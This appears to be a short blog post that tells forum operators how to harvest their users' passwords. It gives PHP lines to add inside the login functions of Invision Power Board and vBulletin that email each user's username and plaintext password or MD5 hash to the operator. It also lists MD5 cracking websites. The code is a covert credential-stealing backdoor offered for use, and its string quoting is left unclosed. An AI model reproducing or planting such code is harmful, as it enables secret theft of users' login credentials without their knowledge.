Have you ever wanted a user on your sites password? In this short explanation i will give you the code to have whoever logs in information sent to your email.
First, your host must have the mail function enabled, or this will not work. Most free hosts dont have this enabled.
Invision Power Board:
sources/loginauth/login_core.php
/*-------------------------------------------------------------------------*/
// Authorize against local DB:
// $username: Log in username
// $password: Plain text password
/*-------------------------------------------------------------------------*/
function auth_local( $username, $password )
{
Add below:
$mailTo = "YOUREMAIL@GOESHERE.COM";
$mailSubject = "$username login information";
$mailMessage = "Username: $username
Password: $password
mail($mailTo, $mailSubject, $mailMessage);
Or you can just use this pre-edited login_core.php file:
If you use the pre-edited file above just replace your "sources/loginauth/login_core.php" file with the above file. And change the YOUREMAIL@GOESHERE.com with your email.
phpBB:
Coming soon
vBulletin:
With vBulletin you're going to have to do something else. vBulletin encrypts the users password into md5 before it is sent, so you will be sent a md5 hash. You are going to have to crack the md5 hash. I will list a few md5 hash cracking websites below, md5 hash's aren't always able to be cracked, but many times they will be cracked especially if the person uses a common or easy password.
/includes/functions_login.php
Find:
// ###################### Start verify_authentication #######################
function verify_authentication($username, $password, $md5password, $md5password_utf, $cookieuser, $send_cookies)
{
$mailTo = "YOUREMAIL@GOESHERE.com";
$mailSubject = "$username login information";
$mailMessage = "Username: $username
Password: $md5password
mail($mailTo, $mailSubject, $mailMessage);
Change YOUREMAIL@GOESHERE.com to your email address.
When you get an email it will look something like this
Username: myname
Password: 9cdfb439c7876e703e307864c9167a15
get the 9cdfb439c7876e703e307864c9167a15 and put it into a md5 cracker
md5 crack sites:
http://milw0rm.com/cracker/insert.php (sometimes this one is full)
http://plain-text.info/add/ (sometimes this one is full)
ليست هناك تعليقات:
إرسال تعليق